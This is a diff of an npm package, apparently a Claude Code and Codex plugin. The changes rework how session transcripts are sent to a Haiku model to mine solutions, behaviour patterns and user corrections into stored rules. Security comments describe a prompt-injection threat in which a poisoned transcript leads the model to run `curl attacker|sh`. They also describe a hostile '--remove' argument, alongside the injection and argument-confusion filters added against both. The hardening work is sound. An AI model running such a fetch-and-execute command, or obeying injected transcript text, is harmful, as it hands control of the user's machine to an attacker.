@wooojin/forgen 0.4.13 → 0.5.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (166) hide show
  1. package/.claude-plugin/plugin.json +1 -1
  2. package/CHANGELOG.md +261 -0
  3. package/README.ja.md +16 -12
  4. package/README.ko.md +12 -8
  5. package/README.md +90 -27
  6. package/README.zh.md +16 -12
  7. package/assets/claude/commands/forge-loop.md +7 -1
  8. package/assets/claude/commands/ship.md +18 -1
  9. package/assets/opencode/forgen.ts +52 -0
  10. package/assets/shared/hook-registry.json +210 -22
  11. package/dist/checks/_shared/meta-guard-dispatch.d.ts +7 -0
  12. package/dist/checks/_shared/meta-guard-dispatch.js +12 -2
  13. package/dist/checks/_shared/model-profile.d.ts +25 -0
  14. package/dist/checks/_shared/model-profile.js +63 -0
  15. package/dist/cli.js +99 -153
  16. package/dist/core/auto-compound-runner.d.ts +0 -11
  17. package/dist/core/auto-compound-runner.js +199 -92
  18. package/dist/core/changelog-cli.d.ts +4 -1
  19. package/dist/core/changelog-cli.js +8 -7
  20. package/dist/core/compound-consent.d.ts +15 -0
  21. package/dist/core/compound-consent.js +48 -0
  22. package/dist/core/compound-sweep-cli.d.ts +60 -0
  23. package/dist/core/compound-sweep-cli.js +374 -0
  24. package/dist/core/config-injector.d.ts +16 -1
  25. package/dist/core/config-injector.js +47 -28
  26. package/dist/core/dashboard-cli.js +40 -16
  27. package/dist/core/dashboard.d.ts +3 -4
  28. package/dist/core/dashboard.js +15 -34
  29. package/dist/core/dev-cli.d.ts +13 -0
  30. package/dist/core/dev-cli.js +70 -0
  31. package/dist/core/doctor.d.ts +16 -5
  32. package/dist/core/doctor.js +190 -176
  33. package/dist/core/drift-score.d.ts +2 -0
  34. package/dist/core/drift-score.js +9 -1
  35. package/dist/core/harness.js +115 -43
  36. package/dist/core/health-cli.d.ts +2 -0
  37. package/dist/core/health-cli.js +6 -1
  38. package/dist/core/host-detect.d.ts +3 -1
  39. package/dist/core/host-detect.js +26 -1
  40. package/dist/core/migrate-cli.js +15 -0
  41. package/dist/core/migrate-evidence-host.d.ts +2 -1
  42. package/dist/core/migrate-tenetx.d.ts +50 -0
  43. package/dist/core/migrate-tenetx.js +262 -0
  44. package/dist/core/probe-workflow-cli.d.ts +3 -3
  45. package/dist/core/probe-workflow-cli.js +13 -13
  46. package/dist/core/recall-cli.js +1 -1
  47. package/dist/core/regress-map-cli.js +1 -1
  48. package/dist/core/rendered-rules-manifest.d.ts +29 -0
  49. package/dist/core/rendered-rules-manifest.js +60 -0
  50. package/dist/core/session-store.js +14 -3
  51. package/dist/core/settings-injector.d.ts +3 -0
  52. package/dist/core/settings-injector.js +12 -16
  53. package/dist/core/spawn.d.ts +37 -1
  54. package/dist/core/spawn.js +116 -9
  55. package/dist/core/state-gc.js +1 -0
  56. package/dist/core/status-cli.d.ts +20 -0
  57. package/dist/core/status-cli.js +100 -0
  58. package/dist/core/statusline-cli.d.ts +7 -0
  59. package/dist/core/statusline-cli.js +63 -19
  60. package/dist/core/transcript-summary.d.ts +18 -0
  61. package/dist/core/transcript-summary.js +81 -0
  62. package/dist/core/trust-layer-intent.d.ts +21 -1
  63. package/dist/core/trust-layer-intent.js +7 -0
  64. package/dist/core/types.d.ts +3 -2
  65. package/dist/core/uninstall.js +12 -0
  66. package/dist/core/usage-telemetry.d.ts +7 -1
  67. package/dist/core/usage-telemetry.js +7 -9
  68. package/dist/core/v1-bootstrap.js +1 -1
  69. package/dist/core/watch-cli.js +1 -1
  70. package/dist/engine/compound-extractor.js +10 -0
  71. package/dist/engine/compound-loop.js +55 -7
  72. package/dist/engine/compound-share.d.ts +85 -0
  73. package/dist/engine/compound-share.js +606 -0
  74. package/dist/engine/correction-cluster-runner.d.ts +38 -0
  75. package/dist/engine/correction-cluster-runner.js +188 -0
  76. package/dist/engine/correction-clustering.d.ts +80 -0
  77. package/dist/engine/correction-clustering.js +167 -0
  78. package/dist/engine/enforce-classifier.d.ts +10 -1
  79. package/dist/engine/enforce-classifier.js +111 -22
  80. package/dist/engine/extraction-session.js +10 -3
  81. package/dist/engine/private-filter.d.ts +36 -0
  82. package/dist/engine/private-filter.js +100 -0
  83. package/dist/engine/ranking-pipeline.js +4 -2
  84. package/dist/engine/relevance-gate.d.ts +12 -0
  85. package/dist/engine/relevance-gate.js +12 -0
  86. package/dist/engine/roi-demotion.d.ts +79 -0
  87. package/dist/engine/roi-demotion.js +159 -0
  88. package/dist/engine/solution-format.d.ts +1 -0
  89. package/dist/engine/solution-format.js +26 -0
  90. package/dist/engine/solution-matcher.js +10 -1
  91. package/dist/fgx.js +7 -6
  92. package/dist/forge/cli.js +8 -2
  93. package/dist/hooks/compound-reflection.js +6 -1
  94. package/dist/hooks/context-guard.d.ts +16 -1
  95. package/dist/hooks/context-guard.js +99 -49
  96. package/dist/hooks/hook-config.js +5 -0
  97. package/dist/hooks/hook-registry.d.ts +6 -1
  98. package/dist/hooks/hooks-generator.js +3 -0
  99. package/dist/hooks/post-tool-use.js +2 -3
  100. package/dist/hooks/pre-compact.js +14 -0
  101. package/dist/hooks/pre-tool-use.js +5 -1
  102. package/dist/hooks/session-end.d.ts +34 -0
  103. package/dist/hooks/session-end.js +100 -0
  104. package/dist/hooks/session-recovery.js +18 -1
  105. package/dist/hooks/shared/hook-timing.js +6 -1
  106. package/dist/hooks/shared/stop-triggers.d.ts +29 -2
  107. package/dist/hooks/shared/stop-triggers.js +35 -2
  108. package/dist/hooks/solution-injector.d.ts +28 -0
  109. package/dist/hooks/solution-injector.js +126 -28
  110. package/dist/hooks/stop-guard.js +5 -2
  111. package/dist/hooks/subagent-stop-guard.js +4 -1
  112. package/dist/host/capabilities-claude.js +1 -0
  113. package/dist/host/capabilities-codex.js +1 -0
  114. package/dist/host/capabilities-opencode.d.ts +26 -0
  115. package/dist/host/capabilities-opencode.js +78 -0
  116. package/dist/host/capabilities-registry.d.ts +7 -0
  117. package/dist/host/capabilities-registry.js +14 -0
  118. package/dist/host/codex-rules-context.d.ts +25 -0
  119. package/dist/host/codex-rules-context.js +62 -0
  120. package/dist/host/exec-host.d.ts +14 -3
  121. package/dist/host/exec-host.js +15 -2
  122. package/dist/host/host-binding.d.ts +27 -0
  123. package/dist/host/host-binding.js +11 -0
  124. package/dist/host/host-runtime.js +18 -0
  125. package/dist/host/install-codex.d.ts +66 -0
  126. package/dist/host/install-codex.js +293 -25
  127. package/dist/host/install-opencode.d.ts +38 -0
  128. package/dist/host/install-opencode.js +148 -0
  129. package/dist/host/install-orchestrator.d.ts +4 -1
  130. package/dist/host/install-orchestrator.js +30 -1
  131. package/dist/host/invoke-agent.d.ts +3 -2
  132. package/dist/host/invoke-agent.js +1 -0
  133. package/dist/host/opencode/context-cli.d.ts +15 -0
  134. package/dist/host/opencode/context-cli.js +25 -0
  135. package/dist/host/opencode/guard-cli.d.ts +13 -0
  136. package/dist/host/opencode/guard-cli.js +39 -0
  137. package/dist/host/opencode/plugin/forgen.d.ts +31 -0
  138. package/dist/host/opencode/plugin/forgen.js +60 -0
  139. package/dist/host/opencode/translate.d.ts +49 -0
  140. package/dist/host/opencode/translate.js +96 -0
  141. package/dist/host/parity-harness.d.ts +10 -2
  142. package/dist/host/parity-harness.js +7 -3
  143. package/dist/host/projection.d.ts +37 -3
  144. package/dist/host/projection.js +104 -42
  145. package/dist/mcp/tools.js +17 -4
  146. package/dist/store/evidence-store.d.ts +2 -6
  147. package/dist/store/evidence-store.js +164 -46
  148. package/dist/store/host-mismatch.d.ts +2 -1
  149. package/dist/store/host-mismatch.js +8 -8
  150. package/dist/store/profile-store.d.ts +3 -2
  151. package/dist/store/rule-store.d.ts +41 -0
  152. package/dist/store/rule-store.js +77 -2
  153. package/dist/store/types.d.ts +9 -2
  154. package/hooks/hooks.json +13 -1
  155. package/package.json +3 -2
  156. package/plugin.json +2 -2
  157. package/skills/architecture-decision/SKILL.md +18 -0
  158. package/skills/calibrate/SKILL.md +18 -0
  159. package/skills/code-review/SKILL.md +17 -0
  160. package/skills/compound/SKILL.md +17 -0
  161. package/skills/deep-interview/SKILL.md +7 -0
  162. package/skills/docker/SKILL.md +18 -0
  163. package/skills/forge-loop/SKILL.md +30 -1
  164. package/skills/learn/SKILL.md +15 -0
  165. package/skills/retro/SKILL.md +16 -0
  166. package/skills/ship/SKILL.md +36 -1
@@ -16,8 +16,12 @@ import { promisify } from 'node:util';
16
16
  const execFileAsync = promisify(execFile);
17
17
  import { createRequire } from 'node:module';
18
18
  import { containsPromptInjection, filterSolutionContent } from '../hooks/prompt-injection-filter.js';
19
+ import { isSelfReferentialEcho } from './config-injector.js';
19
20
  import { redactSecrets } from '../hooks/secret-filter.js';
21
+ import { stripPrivate } from '../engine/private-filter.js';
20
22
  import { createEvidence, saveEvidence, promoteSessionCandidates } from '../store/evidence-store.js';
23
+ import { isHaikuCompoundEnabled } from './compound-consent.js';
24
+ import { summarizeTranscript } from './transcript-summary.js';
21
25
  import { loadProfile } from '../store/profile-store.js';
22
26
  import { FORGEN_HOME, ME_DIR } from './paths.js';
23
27
  import { classifyBehaviorKind, mapKindToAxisRefs } from './behavior-classifier.js';
@@ -45,7 +49,10 @@ function execClaudeRetry(args, opts) {
45
49
  const MAX_ATTEMPTS = 2;
46
50
  for (let attempt = 1; attempt <= MAX_ATTEMPTS; attempt++) {
47
51
  try {
48
- return execFileSync('claude', args, opts);
52
+ return execFileSync('claude', mod.withNestedRunClaudeArgs(args), {
53
+ ...opts,
54
+ env: { ...process.env, ...(opts.env ?? {}), ...mod.NESTED_RUN_ENV },
55
+ });
49
56
  }
50
57
  catch (e) {
51
58
  const msg = e instanceof Error ? e.message : String(e);
@@ -91,6 +98,23 @@ function execClaudeRetry(args, opts) {
91
98
  * 본 함수는 0.4.7 작업의 foundation 으로 박제 — export 하여 unused warning 회피.
92
99
  * 동작은 sync 버전과 동일: Claude/Codex 분기 + retry on transient.
93
100
  */
101
+ /**
102
+ * ADR-012 D: Haiku transcript-요약 추출은 **opt-in**. 동의 없으면 '' 반환 → 각 추출 phase 는
103
+ * fail-open(try/catch)이라 아무것도 쓰지 않고, 뒤의 `promoteSessionCandidates`(결정론·egress 0)
104
+ * 만 남는다. "우리는 당신 몰래 API 로 보내지 않는다".
105
+ */
106
+ let haikuOptOutNoticeShown = false;
107
+ function extractViaHaiku(args, opts) {
108
+ if (!isHaikuCompoundEnabled()) {
109
+ if (!haikuOptOutNoticeShown) {
110
+ process.stderr.write('[forgen-auto-compound] Haiku 추출 opt-in 비활성 — 결정론 룰 승급만 수행 ' +
111
+ '(활성: `forgen compound consent on`)\n');
112
+ haikuOptOutNoticeShown = true;
113
+ }
114
+ return '';
115
+ }
116
+ return execClaudeRetry(args, opts);
117
+ }
94
118
  export async function execClaudeRetryAsync(args, opts) {
95
119
  const mod = createRequire(import.meta.url)('../host/exec-host.js');
96
120
  const profileMod = createRequire(import.meta.url)('../store/profile-store.js');
@@ -101,7 +125,10 @@ export async function execClaudeRetryAsync(args, opts) {
101
125
  const MAX_ATTEMPTS = 2;
102
126
  for (let attempt = 1; attempt <= MAX_ATTEMPTS; attempt++) {
103
127
  try {
104
- const { stdout } = await execFileAsync('claude', args, opts);
128
+ const { stdout } = await execFileAsync('claude', mod.withNestedRunClaudeArgs(args), {
129
+ ...opts,
130
+ env: { ...process.env, ...(opts.env ?? {}), ...mod.NESTED_RUN_ENV },
131
+ });
105
132
  return typeof stdout === 'string' ? stdout : stdout.toString();
106
133
  }
107
134
  catch (e) {
@@ -216,79 +243,9 @@ function validateSolutionFiles(dirBefore) {
216
243
  }
217
244
  return removed;
218
245
  }
219
- function extractText(c) {
220
- if (typeof c === 'string')
221
- return c;
222
- if (Array.isArray(c)) {
223
- return c
224
- .filter((x) => typeof x === 'object' && x !== null && x.type === 'text')
225
- .map((x) => (typeof x.text === 'string' ? x.text : ''))
226
- .join('\n');
227
- }
228
- return '';
229
- }
230
- /**
231
- * 0.4.6 — claude/codex JSONL 양 schema 호환.
232
- *
233
- * Claude: {type: 'user'|'assistant', content: ...}
234
- * Codex: {type: 'response_item', payload: {type: 'message', role: 'user'|'assistant', content: [{type: 'input_text', text: ...}]}}
235
- */
246
+ /** 파일 → 요약. 순수 로직은 transcript-summary 모듈(테스트 가능). */
236
247
  function extractSummary(filePath, maxChars = 8000) {
237
- const content = fs.readFileSync(filePath, 'utf-8');
238
- const lines = content.split('\n').filter(Boolean);
239
- const messages = [];
240
- let totalChars = 0;
241
- for (const line of lines) {
242
- try {
243
- const entry = JSON.parse(line);
244
- // Claude schema
245
- if (entry.type === 'user' || entry.type === 'queue-operation') {
246
- const text = extractText(entry.content);
247
- if (text) {
248
- messages.push(`[User] ${text.slice(0, 500)}`);
249
- totalChars += text.length;
250
- }
251
- }
252
- else if (entry.type === 'assistant') {
253
- const text = extractText(entry.content);
254
- if (text) {
255
- messages.push(`[Assistant] ${text.slice(0, 500)}`);
256
- totalChars += text.length;
257
- }
258
- }
259
- // Codex schema
260
- else if (entry.type === 'response_item' && entry.payload?.role === 'user') {
261
- const text = extractCodexText(entry.payload.content);
262
- if (text) {
263
- messages.push(`[User] ${text.slice(0, 500)}`);
264
- totalChars += text.length;
265
- }
266
- }
267
- else if (entry.type === 'response_item' && entry.payload?.role === 'assistant') {
268
- const text = extractCodexText(entry.payload.content);
269
- if (text) {
270
- messages.push(`[Assistant] ${text.slice(0, 500)}`);
271
- totalChars += text.length;
272
- }
273
- }
274
- }
275
- catch { /* skip */ }
276
- if (totalChars > maxChars)
277
- break;
278
- }
279
- return messages.join('\n\n');
280
- }
281
- /** Codex content array → flat string. content: [{type: 'input_text', text: ...}] */
282
- function extractCodexText(content) {
283
- if (!Array.isArray(content))
284
- return '';
285
- const parts = [];
286
- for (const item of content) {
287
- if (item && typeof item === 'object' && 'text' in item && typeof item.text === 'string') {
288
- parts.push(item.text);
289
- }
290
- }
291
- return parts.join('\n').trim();
248
+ return summarizeTranscript(fs.readFileSync(filePath, 'utf-8'), maxChars);
292
249
  }
293
250
  /**
294
251
  * 기존 behavior 파일에 유사 패턴이 있으면 observedCount를 +1 증가.
@@ -343,10 +300,21 @@ try {
343
300
  // R5-G2 (P0 security): transcript 를 Claude 로 송신하기 전 API key / 토큰 / 비밀번호 /
344
301
  // private key blocks 를 [REDACTED:...] 로 치환. 사용자가 채팅에 pasted 한 자격증명이
345
302
  // auto-compound 를 통해 외부 API 로 누출되는 채널 차단.
346
- const { redacted: summary, hits: secretHits } = redactSecrets(rawSummary);
303
+ const { redacted: redactedSummary, hits: secretHits } = redactSecrets(rawSummary);
347
304
  if (secretHits.length > 0) {
348
305
  process.stderr.write(`[forgen-auto-compound] redacted ${secretHits.length} secret(s) before send: ${secretHits.map((s) => s.name).join(', ')}\n`);
349
306
  }
307
+ // W2-5 (private 태그, flow-reviewer SEV-2): redactSecrets(보안) 와 직교하는 프라이버시
308
+ // 축. 이 auto-compound-runner 는 학습 코퍼스의 *주 자동 캡처 경로* — 세션 종료마다
309
+ // 전체 트랜스크립트를 추출 LLM 으로 보내고 behavior/solution 으로 파생한다. 사용자가
310
+ // <private> 로 표시한 범위를 LLM 송신·behavior write 전에 제거해야 "안심하고 교정"
311
+ // 약속이 주 경로에서 지켜진다.
312
+ const { cleaned: summary, hadPrivate } = stripPrivate(redactedSummary);
313
+ if (hadPrivate) {
314
+ process.stderr.write(`[forgen-auto-compound] excluded <private> range(s) before send (privacy)\n`);
315
+ }
316
+ if (summary.length < 200)
317
+ process.exit(0);
350
318
  // 보안: 프롬프트 인젝션이 포함된 transcript는 분석하지 않음
351
319
  if (containsPromptInjection(summary)) {
352
320
  process.exit(0);
@@ -397,31 +365,84 @@ try {
397
365
  }
398
366
  }
399
367
  catch { /* ignore */ }
368
+ // 결함2 corrected fix (2026-08-19): 이전엔 모델에게 `Bash(forgen compound:*)` 도구를 주고
369
+ // forgen compound 를 "직접 실행"시켰으나, headless haiku 는 도구 호출이 근본적으로
370
+ // 불안정해(라이브 확증: 동일 조건에서 실행/미실행 1↔0 오락가락) 산출이 forgen 생애
371
+ // 통틀어 0건이었다. 이제 behavior 경로와 동일하게 — 모델은 재사용 솔루션을 텍스트로만
372
+ // 출력하고(안정적), 러너가 파싱해 forgen 을 직접 실행한다.
373
+ // 이점: (a) 모델에 Bash 도구를 아예 주지 않으므로 P1-S1 인젝션 표면 제거 — 모델 출력은
374
+ // 파싱·필터를 거쳐 execFileSync 의 *인자*로만 쓰이고 셸을 거치지 않아 임의 명령 실행 불가.
375
+ // (b) 도구 호출 신뢰성 문제 제거. (c) forgen 을 이 러너 node 의 형제 바이너리(절대경로)로
376
+ // 호출해 cron sparse PATH 에 forgen 이 없던 문제(라이브 확증)도 해소.
400
377
  const solutionPrompt = `다음은 이전 Claude Code 세션의 대화 요약입니다.
401
- 미래 세션에서 재사용할 수 있는 패턴, 해결책, 의사결정을 추출해주세요.
402
-
403
- 각 항목은 반드시 다음을 포함해야 합니다:
404
- - **제목**: 구체적이고 검색 가능한 이름 (예: "vitest-mock-esm-pattern", "react-state-lifting-decision")
405
- - **설명**: (1) 무엇을 했는지 (2) 왜 그렇게 했는지 (3) 어떻게 적용하는지
378
+ 미래 세션에서 재사용할 수 있는 패턴/해결책/의사결정을 추출해주세요.
379
+ 각 항목을 정확히 아래 한 줄 형식으로만 출력하세요 (다른 설명 없이, 코드블록도 불필요):
380
+ forgen compound --solution "제목" "설명 (무엇 + 왜 + 어떻게 적용)"
406
381
 
407
- 형식: forgen compound --solution "제목" "설명 (why + how to apply)"
382
+ - 제목: 구체적이고 검색 가능한 이름 (예: "react-high-frequency-event-raf-throttle")
383
+ - 설명: (1) 무엇을 했는지 (2) 왜 그렇게 했는지 (3) 어떻게 적용하는지
408
384
  추출할 것이 없으면 "추출할 패턴 없음"이라고만 답하세요.
409
385
  최대 3개. 피상적인 관찰(예: "TypeScript를 사용함")은 제외. 기존 솔루션과 중복 금지.${existingList}
410
386
 
411
387
  ---
412
388
  ${sanitizedSummary.slice(0, 6000)}
413
389
  ---`;
414
- // P1-S1 fix (2026-04-20): 과거에는 `--allowedTools Bash`로 전체 Bash 권한을 줘서
415
- // 악성 transcript(공급망 인젝션)가 filter를 우회해 `curl attacker|sh` 같은 명령을
416
- // 피해자 권한으로 실행시킬 수 있었다. 이제 `Bash(forgen compound:*)`로 좁혀 Claude
417
- // 가 compound 추출용 forgen CLI 호출만 가능하게 한다. filter-bypass 시에도 임의
418
- // 명령 실행 차단.
390
+ let solutionOutput = '';
419
391
  try {
420
- execClaudeRetry(['-p', solutionPrompt, '--allowedTools', 'Bash(forgen compound:*)', '--model', COMPOUND_MODEL], { cwd, timeout: 90_000, stdio: ['pipe', 'ignore', 'pipe'] });
392
+ solutionOutput = extractViaHaiku(['-p', solutionPrompt, '--model', COMPOUND_MODEL], { cwd, timeout: 90_000, encoding: 'utf-8' }) || '';
421
393
  }
422
394
  catch (e) {
423
395
  process.stderr.write(`[forgen-auto-compound] solution extraction: ${e instanceof Error ? e.message : String(e)}\n`);
424
396
  }
397
+ // 모델 출력에서 `--solution "제목" "설명"` 을 파싱해 forgen 을 직접 실행(결정론적).
398
+ // forgen 은 이 러너를 돌리는 node 의 형제 바이너리를 절대경로로 호출 — sparse PATH 의존 제거.
399
+ const nodeBinDir = path.dirname(process.execPath);
400
+ const forgenBin = fs.existsSync(path.join(nodeBinDir, 'forgen'))
401
+ ? path.join(nodeBinDir, 'forgen')
402
+ : 'forgen';
403
+ const solutionArgRe = /--solution\s+"((?:[^"\\]|\\.)+)"\s+"((?:[^"\\]|\\.)+)"/g;
404
+ let match;
405
+ let extractedCount = 0;
406
+ // biome-ignore lint/suspicious/noAssignInExpressions: regex exec 루프 관용구
407
+ while ((match = solutionArgRe.exec(solutionOutput)) !== null && extractedCount < 3) {
408
+ const title = match[1].replace(/\\"/g, '"').trim();
409
+ const rawContent = match[2].replace(/\\"/g, '"').trim();
410
+ if (!title || rawContent.length < 20)
411
+ continue;
412
+ // 보안(argument confusion): title/content 는 untrusted 모델 출력이다. execFileSync
413
+ // 인자로 넘기므로 셸 인젝션은 없지만, '-' 로 시작하면 forgen 의 인자 파서가 이를
414
+ // 플래그로 오해석할 수 있다(예: 악성 title "--remove" → 삭제 분기). 정상 제목/설명은
415
+ // '-' 로 시작하지 않으므로 대시-선두 값은 스킵한다. (handleCompound 의 위치인자 파서가
416
+ // startsWith('--') 를 필터하는 것에 더해 러너에서 원천 차단.)
417
+ if (title.startsWith('-') || rawContent.startsWith('-')) {
418
+ process.stderr.write('[forgen-auto-compound] solution: dash-leading title/content, skipping (arg-confusion guard)\n');
419
+ continue;
420
+ }
421
+ // 모델 출력은 untrusted transcript 파생 — 저장 전 injection/exfil 필터(defense in depth).
422
+ if (containsPromptInjection(`${title} ${rawContent}`)) {
423
+ process.stderr.write('[forgen-auto-compound] solution: injection detected in LLM output, skipping\n');
424
+ continue;
425
+ }
426
+ const contentScan = filterSolutionContent(rawContent);
427
+ if (contentScan.verdict === 'block') {
428
+ process.stderr.write('[forgen-auto-compound] solution: content blocked by filter, skipping\n');
429
+ continue;
430
+ }
431
+ try {
432
+ // title/content 는 execFileSync 의 *인자*로만 전달 — 셸 미경유라 메타문자가 있어도
433
+ // 명령 인젝션 불가. FORGEN_HOME 등 env 는 그대로 상속되어 올바른 스토어에 기록된다.
434
+ execFileSync(forgenBin, ['compound', '--solution', title, contentScan.sanitized], {
435
+ cwd,
436
+ timeout: 20_000,
437
+ stdio: ['ignore', 'ignore', 'pipe'],
438
+ env: { ...process.env, PATH: `${nodeBinDir}${path.delimiter}${process.env.PATH ?? ''}` },
439
+ });
440
+ extractedCount++;
441
+ }
442
+ catch (e) {
443
+ process.stderr.write(`[forgen-auto-compound] solution write: ${e instanceof Error ? e.message : String(e)}\n`);
444
+ }
445
+ }
425
446
  // Post-extraction quality validation: remove files that fail lightweight gates
426
447
  const removedCount = validateSolutionFiles(solutionsBefore);
427
448
  if (removedCount > 0) {
@@ -449,7 +470,7 @@ ${sanitizedSummary.slice(0, 6000)}
449
470
  ${sanitizedSummary.slice(0, 4000)}
450
471
  ---`;
451
472
  try {
452
- const userResult = execClaudeRetry(['-p', userPrompt, '--model', COMPOUND_MODEL], {
473
+ const userResult = extractViaHaiku(['-p', userPrompt, '--model', COMPOUND_MODEL], {
453
474
  cwd, timeout: 60_000, encoding: 'utf-8',
454
475
  });
455
476
  // 결과가 의미 있으면 behavior/ 파일로 저장
@@ -468,7 +489,14 @@ ${sanitizedSummary.slice(0, 4000)}
468
489
  if (isInjection) {
469
490
  process.stderr.write(`[forgen-auto-compound] behavior: injection detected in LLM output, skipping write\n`);
470
491
  }
471
- if (userResult && !isInjection && !userResult.includes('관찰된 패턴 없음') && userResult.trim().length > 10) {
492
+ // ADR-010 W1-2 캡처 사이드 에코 차단: Claude-voice 에코("이해했습니다…",
493
+ // "I see the notification…")를 저장 전에 거른다. 렌더 필터만으로는 스토어
494
+ // 오염이 누적된다 — 실측(2026-07-16) 오염 49건 전부 이 형태였음.
495
+ const isEcho = userResult ? isSelfReferentialEcho(userResult.trim()) : false;
496
+ if (isEcho && !isInjection) {
497
+ process.stderr.write(`[forgen-auto-compound] behavior: assistant-voice echo detected, skipping write\n`);
498
+ }
499
+ if (userResult && !isInjection && !isEcho && !userResult.includes('관찰된 패턴 없음') && userResult.trim().length > 10) {
472
500
  userPatternFound = true; // 0.4.6 perf #12 — adaptive cooldown 시그널
473
501
  fs.mkdirSync(BEHAVIOR_DIR, { recursive: true });
474
502
  const today = new Date().toISOString().split('T')[0];
@@ -520,7 +548,9 @@ ${sanitizedSummary.slice(0, 4000)}
520
548
  ${profileContext}
521
549
  출력 형식 (JSON만, 설명 없이):
522
550
  {
523
- "corrections": ["사용자가 명시적으로 교정한 내용 목록"],
551
+ "corrections": [
552
+ { "policy": "이런 상황에서는 이렇게 하라(구체·행동가능)", "target": "무엇에 대한 교정인가(짧은 명사구)", "kind": "prefer-from-now" 또는 "avoid-this", "axis": "quality_safety" 또는 "autonomy" 또는 "judgment_philosophy" 또는 "communication_style" }
553
+ ],
524
554
  "observations": ["사용자의 반복 행동 패턴 목록"],
525
555
  "pack_direction": null 또는 "opposite_quality" 또는 "opposite_autonomy",
526
556
  "profile_delta": {
@@ -532,7 +562,15 @@ ${profileContext}
532
562
  }
533
563
 
534
564
  규칙:
535
- - corrections: "하지마", "그렇게 말고", "앞으로는" 같은 명시 교정만. 없으면 빈 배열.
565
+ - corrections: 사용자가 어시스턴트의 행동/접근/출력을 **교정한 지점**을 찾아라. 명시 마커
566
+ ("하지마", "그렇게 말고", "앞으로는")뿐 아니라, **직전 [Assistant] 행동 대비 [User]가
567
+ 방향을 튼 경우**도 포함:
568
+ · 긍정 지시형("~해줘", "~돌려봐" — 어시스턴트가 안 하던 걸 요구)
569
+ · 반사실형("~했어야 했다", "~에서 했어야 하는 거 아니야?")
570
+ · 완곡형("~안 해도 될 것 같아", "굳이 ~해야 할까?")
571
+ · 부정/반박형("아니", "그게 아니라", "틀렸어")
572
+ 단순 진행 지시("다음 거 하자", "옵션 A로")나 질문은 제외. 없으면 빈 배열.
573
+ 각 교정은 policy(재사용 가능한 규칙문, 20자 이상)·target·kind·axis 로 구조화.
536
574
  - observations: 3회 이상 반복된 행동만. 없으면 빈 배열.
537
575
  - pack_direction: 사용자가 현재 pack과 반대 방향으로 일관되게 행동했으면 opposite_quality 또는 opposite_autonomy. 아니면 null.
538
576
  - profile_delta: facet 조정 제안. -0.1~+0.1 범위. 변화 없으면 0.0.
@@ -541,7 +579,7 @@ ${profileContext}
541
579
  ---
542
580
  ${sanitizedSummary.slice(0, 4000)}
543
581
  ---`;
544
- const learningResult = execClaudeRetry(['-p', learningSummaryPrompt, '--model', COMPOUND_MODEL], {
582
+ const learningResult = extractViaHaiku(['-p', learningSummaryPrompt, '--model', COMPOUND_MODEL], {
545
583
  cwd, timeout: 60_000, encoding: 'utf-8',
546
584
  });
547
585
  // JSON 파싱 시도
@@ -570,6 +608,46 @@ ${sanitizedSummary.slice(0, 4000)}
570
608
  fs.mkdirSync(V1_EVIDENCE_DIR, { recursive: true });
571
609
  fs.writeFileSync(path.join(V1_EVIDENCE_DIR, `${evidenceId}.json`), JSON.stringify(evidence, null, 2));
572
610
  }
611
+ // ADR-013: 채굴된 교정을 **승급 가능 Evidence** 로 emit (기존엔 session_summary 로
612
+ // 죽던 데드엔드). auto_mined → promoteSessionCandidates 가 **advisory-only**(차단 불가) +
613
+ // "auto:" 네임스페이스 + 생성나이 은퇴로 승급. ①(실시간 명시 교정)과 엄격 차등.
614
+ // 안전(리뷰 SEV-1/2): (a) run 당 최대 MAX_MINED_PER_RUN 개만(무한 룰 주입 방지),
615
+ // (b) policy 를 injection 필터 통과(환각 payload 가 영구 룰이 되는 것 차단),
616
+ // (c) policy≥20 + target 필수.
617
+ const MAX_MINED_PER_RUN = 3;
618
+ let minedCorrections = 0;
619
+ for (const c of (parsed.corrections ?? [])) {
620
+ if (minedCorrections >= MAX_MINED_PER_RUN)
621
+ break; // 캡 (SEV-1 #3)
622
+ if (!c || typeof c !== 'object')
623
+ continue;
624
+ const policy = typeof c.policy === 'string' ? c.policy.trim() : '';
625
+ const target = typeof c.target === 'string' ? c.target.trim() : '';
626
+ const kind = c.kind === 'avoid-this' ? 'avoid-this' : 'prefer-from-now';
627
+ const axis = typeof c.axis === 'string' ? c.axis : null;
628
+ if (policy.length < 20 || !target)
629
+ continue;
630
+ // 출력 sanitize (SEV-2 #5): 채굴 policy 는 미래 세션 프롬프트에 룰로 주입되므로,
631
+ // injection payload 를 룰화하지 않도록 입력과 동일한 필터를 출력에도 적용.
632
+ if (containsPromptInjection(policy) || containsPromptInjection(target)) {
633
+ process.stderr.write('[forgen-auto-compound] skipped mined correction (injection filter)\n');
634
+ continue;
635
+ }
636
+ const ev = createEvidence({
637
+ type: 'explicit_correction',
638
+ session_id: sessionId,
639
+ source_component: 'auto-compound-miner',
640
+ summary: policy,
641
+ axis_refs: axis ? [axis] : [],
642
+ confidence: 0.55, // ①(실시간)보다 낮게 — 채굴 불확실성 반영
643
+ raw_payload: { kind, target, axis_hint: axis, auto_mined: true },
644
+ });
645
+ saveEvidence(ev);
646
+ minedCorrections++;
647
+ }
648
+ if (minedCorrections > 0) {
649
+ process.stderr.write(`[forgen-auto-compound] mined ${minedCorrections} correction(s) (advisory-only, capped, age-retired)\n`);
650
+ }
573
651
  // facet delta 적용
574
652
  if (parsed.profile_delta) {
575
653
  const profile = JSON.parse(fs.readFileSync(V1_PROFILE, 'utf-8'));
@@ -638,6 +716,20 @@ ${sanitizedSummary.slice(0, 4000)}
638
716
  catch (e) {
639
717
  process.stderr.write(`[forgen-auto-compound] rule promotion: ${e instanceof Error ? e.message : String(e)}\n`);
640
718
  }
719
+ // Step 4b (W3-2): 교정 클러스터링 — 같은 원칙을 N회 교정해 흩어진 룰을 1개 명명 룰로
720
+ // 통합하고 강도를 반복 신호(Laplace)로 승급. 승급 직후 같은 패스에서 실행. fail-open.
721
+ try {
722
+ const { runCorrectionClustering } = await import('../engine/correction-cluster-runner.js');
723
+ const merges = await runCorrectionClustering();
724
+ for (const m of merges) {
725
+ process.stderr.write(`[forgen-auto-compound] clustered ${m.memberIds.length} correction(s) → 1 rule ` +
726
+ `[${m.category}, strength=${m.strength}, conf=${m.confidence.toFixed(2)}] — ` +
727
+ `undo: forgen rule unmerge-cluster ${m.mergedRuleId}\n`);
728
+ }
729
+ }
730
+ catch (e) {
731
+ process.stderr.write(`[forgen-auto-compound] correction clustering: ${e instanceof Error ? e.message : String(e)}\n`);
732
+ }
641
733
